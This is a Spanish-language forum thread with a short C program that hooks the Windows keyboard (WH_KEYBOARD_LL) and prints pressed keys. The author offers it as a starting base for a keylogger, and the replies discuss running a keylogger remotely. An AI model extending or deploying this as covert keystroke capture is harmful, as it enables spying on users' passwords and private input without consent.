Que tal, bueno para practicar hace un rato había hecho este ejemplo de cómo podría detectar teclas presionadas desde el teclado mediante el uso de hooks :P el resultado fué este:
(pequeña base para un keylogger, para quien lo quiera continuar)
/***********************************
* Coder: Linkgl *
* Thanks: The swash *
* Exaple for hooks WH_KEYBOARD_LL *
***********************************/
#include <windows.h>
#include <stdio.h>
//declaramos el hook publico
HHOOK hHook;
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
//llamamos a la estructura y la hacemos puntero para lParam
KBDLLHOOKSTRUCT kbHookStruct = *(KBDLLHOOKSTRUCT*)lParam;
//PKDLLHOOKSTRUCT *kbHookStruct = (PKBDLLHOOKSTRUCT *)lParam;
if(nCode < 0) //si es menor a 0 pasamos al siguiente hook
return CallNextHookEx(0, nCode, wParam, lParam);
if(wParam == WM_KEYDOWN) //Si se detecto pulsacion de tecla
printf("%s", (char *)&kbHookStruct.vkCode); //imprimimos convirtiendo a char *
return CallNextHookEx(0, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
MSG msg;
//definimos/activamos el hook
hHook=SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)LowLevelKeyboardProc,GetModuleHandle(NULL),0);
//Bucle de mensajes
while(TRUE==GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
//eliminamos el hook
UnhookWindowsHookEx(hHook);
}
Hace un tiempo vi un keylogger en python usando pyhook, está bastante bien usar hooks para un keylogger, la verdad, pero en C se complica el code xD.
No conocía pyhook :O, pero bueno un keylogger en python no creo que sea tan buena idea jaja porque si va a ser remoto y no tienes el intérprete pues vamos no va a servir a menos que le pases el pytoexe adjuntandole todas las librerías al mismo ejecutable que quedaría pesadisimo para ser un server de un keylogger, jaja en cambio en C acá ya tienes la base nomás falta usar GetAsyncKeyState o alguna función similar para detectar símbolos/caracteres raros no es difícil en realidad solo tienes que saber manejar la API de windows :P.
Gracias por el comentario ;)